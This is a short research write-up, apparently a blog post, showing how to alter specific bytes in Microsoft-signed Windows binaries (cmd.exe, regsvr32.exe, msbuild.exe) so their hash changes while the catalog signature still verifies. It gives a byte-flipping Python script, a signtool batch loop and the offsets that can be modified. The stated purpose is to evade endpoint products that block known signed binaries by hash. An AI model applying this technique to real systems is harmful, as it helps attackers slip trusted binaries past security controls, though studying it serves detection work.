Generate Windows Signed Binary With a Different Hash

The idea was to bypass endpoint solution that block known "malicious" signed application such as "regsvr32.exe". I wanted to find a way to get a valid signed file with a different hash.

The Analysis

Using signtool verify /v /a cmd.exe

C:\signcheck>signtool verify /a /v cmd.exe

Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3

Signing Certificate Chain:
    Issued to: Microsoft Root Certificate Authority
    Issued by: Microsoft Root Certificate Authority
    Expires:   Sun May 09 19:28:13 2021
    SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072

I thought the "Hash of file" was the SHA1 of cmd.exe based on the output (7EB22CBAA74B208DF433C70C06A99280036A52F3)

Further check revealed that the SHA1 of cmd.exe file was

$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe

Interesting same file 2 different hashes.

Generating Test Files

At this point I suspected that the signature may not include all sections of the file.

I wrote a simple python script to generate test files.

import sys

orig = list(open(sys.argv[1], "rb").read())

i = 0
while i < len(orig):
	current = list(orig)
	current[i] = chr(ord(current[i]) ^ 0xde)
	path = "%d.exe" % i
	
	output = "".join(str(e) for e in current)
	open(path, "wb").write(output)
	i += 1
	
print "done"

python generate.py cmd.exe was then executed and generated more than 300 Gb of new files.

Final Step

We now need to validate each files we created to see if they pass the signature test.

A simple batch file can to that

FOR /L %%A IN (1,1,10000) DO (
	signtool verify /v /a %%A.exe
)

The binary 330.exe passed the signature check. in this case the file is different since the offset 330 was modified.

C:\signcheck>signtool verify /a /v 330.exe

Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3

$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe

$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe

cmd.exe

The following bytes can be modified without breaking the signature: 330, 331, 408 - 412

regsvr32.exe

The following bytes can be modified without breaking the signature: 320 - 323, 400 - 407

msbuild.exe (x86)

The following bytes can be modified without breaking the signature: 216 - 219

Windows-SignedBinary

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